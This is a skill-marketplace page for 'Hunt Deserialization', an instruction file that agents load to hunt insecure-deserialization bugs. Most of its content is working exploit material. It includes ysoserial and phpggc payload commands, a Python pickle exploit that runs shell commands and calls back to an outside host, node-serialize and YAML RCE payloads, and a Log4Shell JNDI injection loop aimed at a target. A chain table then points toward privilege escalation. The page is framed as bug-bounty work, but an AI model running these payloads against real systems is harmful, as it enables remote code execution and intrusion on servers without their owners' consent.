Hunt Deserialization logo

Hunt Deserialization

CommunityPopular
elementalsouls
hunt-deserialization

Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.

Overview

Publisherelementalsouls
RepositoryClaude-BugHunter
Skill namehunt-deserialization
Stars
4.5K
Forks
678
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by elementalsouls on GitHub. Read the source before you install it.

Installation

Install the Hunt Deserialization AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p .claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-deserialization .claude/skills/hunt-deserialization
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Deserialization in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Deserialization on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Deserialization is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

HUNT-DESERIALIZATION — Insecure Deserialization

Crown Jewel Targets

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.

Highest-value chains:

  • Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
  • PHP Object Injection__wakeup / __destruct magic methods → file write / RCE
  • Python picklepickle.loads(attacker_data)__reduce__os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
  • Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
  • JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

Attack Surface Signals

Detection Patterns

bash
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Header / Cookie Signals

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

bash
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Phase 2 — PHP Object Injection

bash
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Phase 3 — Python Pickle

bash
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Phase 3b — PHP phar://, Python YAML, Node deserialization

  • PHP phar:// (no unserialize() call) — any filesystem function (file_exists/fopen/getimagesize) on a phar:// path deserializes the archive metadata -> object injection with zero unserialize() in code.
    bash
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
    # then reach  phar://uploads/poly.jpg/x  via any fs call
  • Python yaml.load() (CVE-2017-18342) — pre-5.1 default-unsafe: !!python/object/apply:os.system ['curl http://$COLLAB/yaml']
  • Node node-serialize (CVE-2017-5941) — IIFE marker in any field passed to unserialize(): {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}

Phase 4 — .NET ViewState

bash
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64

Phase 5 — Log4Shell / JNDI

bash
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done

# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"

Phase 6 — Ruby Marshal

bash
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .

# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

Chain Table

Deserialization signalChain toImpact
Any deser RCE/etc/passwd + id outputProve arbitrary command execution
RCE as low-privilege userFind SUID binaries / sudo rulesPrivilege escalation → root
Blind RCE (OOB callback)DNS callback → confirm execSufficient for Critical PoC
Log4ShellLDAP → JNDI → class loadFull RCE on JVM process

Automation

bash
# OOB listener
interactsh-client -v -n 5

# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

Validation

✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed

Severity: Almost always Critical — RCE with server process privileges.

Frequently asked questions

What does the Hunt Deserialization AI skill do?

Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.

Why use Hunt Deserialization on TypingMind?

Because you install it once and use it with any model. Hunt Deserialization is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Deserialization in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-deserialization. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Deserialization?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Deserialization?

As many as you like. As long as a model supports skills, you can use Hunt Deserialization with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Deserialization AI skill free?

Yes. It is published on GitHub by elementalsouls under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇